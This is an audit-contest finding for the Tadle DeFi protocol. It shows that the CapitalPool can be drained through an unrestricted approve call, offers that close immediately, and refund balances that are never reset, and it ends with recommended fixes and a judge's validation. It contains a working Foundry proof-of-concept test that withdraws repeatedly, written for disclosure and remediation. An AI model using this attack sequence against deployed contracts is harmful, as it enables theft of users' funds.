Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Tokens in the Capital Pool can be drained by a malicious user

lumoswiz

Summary

  • A malicious user can create an offer in the PreMarktes (hereon PreMarkets) contract which is immediately closed, so the user is eligible for a refund.

  • The CapitalPool can be made to give infinite approval to the TokenManager contract for any user supplied ERC-20 token address.

  • Claimable amounts (i.e. the refund) for user/token address/balance types are not cleared after withdrawal.

Given the above, the malicious user can repeatedly call withdraw and drain the capital pool of any token in the CapitalPool contract.

Vulnerability Details

Proof of Concept for Tokens in the CapitalPool contract can be drained by a malicious user

Overview:

  • An attacker can exploit the protocol in a transaction/s that performs the following calls to the protocol:

    • CapitalPool.approve: this can be done before or after the createOffer/closeOffer calls.

    • PreMarkets.createOffer

    • PreMarkets.closeOffer

    • A sequence of TokenManager.withdraw calls until the CapitalPool contract is drained of the collateral token

  • The attacker is made possible because of:

    • Anyone can call CapitalPool.approve. Developers intended only for the token manager to call this function.

    • Offers can be immediately closed (they are still Virgin).

    • The userTokenBalanceMap in the TokenManager contract is incremented since: stockInfo.preOffer == address(0x0) is satisfied in closeOffer. And, the user can withdraw tokens directly from the token manager and the userTokenBalanceMap is not updated after the withdrawal. This allows for the user to repeatedly withdraw their userTokenBalanceMap amount.

Actors:

  • Attacker: Interacts directly with the protocol's contracts (as written) & must hold ERC-20 tokens they wish to drain from the capital pool.

  • Victim: User's of the protocol that have transferred ERC-20 tokens to the CapitalPool contract through regular protocol use -- for example, via createOffer in PreMarkets contract.

  • Protocol: Contracts under question: CapitalPool, PreMarkets, TokenManager

Working Test Case:

function test_canDrainCapitalPool() public {
// Mock generating stock/offer addresses as in `createOffer`, used in `closeOffer` call.
uint256 id = preMarktes.offerId();
address stock = address(uint160(uint256(keccak256(abi.encode(id, "stock")))));
address offer = address(uint160(uint256(keccak256(abi.encode(id, "offer")))));
// Setup an initial Capital Pool USDC token balance
uint256 cpUsdcInitialBalance = type(uint96).max;
deal(address(mockUSDCToken), address(capitalPool), cpUsdcInitialBalance);
// Setup CreateOfferParams
uint256 initialBalance = mockUSDCToken.balanceOf(user);
CreateOfferParams memory params = CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
initialBalance, // entire USDC balance of the user
10000, // 100% collateral ratio
300,
OfferType.Ask,
OfferSettleType.Turbo
);
uint256 transferAmount = (initialBalance * 10_000) / 10_000; // Calculate transferAmount by mocking getDepositAmount call from createOffer
// Prank as attacker
vm.startPrank(user);
preMarktes.createOffer(params); // Attacker creates an offer
preMarktes.closeOffer(stock, offer); // Attacker immediately closes the offer
capitalPool.approve(address(mockUSDCToken)); // Attacker creates infinite usdc token approval for token manager
uint256 numWithdraws = 11; // only 1 legitimate withdraw
for (uint256 i; i < numWithdraws; ++i) {
// Attacker can repeatedly withdraw their initial transfer amount from the createOffer call
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
}
// Assertions
assertEq(mockUSDCToken.balanceOf(user), initialBalance + (numWithdraws - 1) * transferAmount); // attacker has profited: numWithdraws * transferAmount
assertEq(
mockUSDCToken.balanceOf(address(capitalPool)),
cpUsdcInitialBalance - (numWithdraws - 1) * transferAmount // capital pool has lost: numWithdraws * transferAmount
);
}

Impact

High. Protocol user funds are at risk.

Tools Used

Foundry.

Recommendations

  • In the withdraw function from TokenManager, zero the userTokenBalanceMap for the user/token/balance type after a successful transfer of the claimableAmount to the caller.

  • Amend the approve function in the CapitalPool contract so that only the TokenManager can call this function, as intended.

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.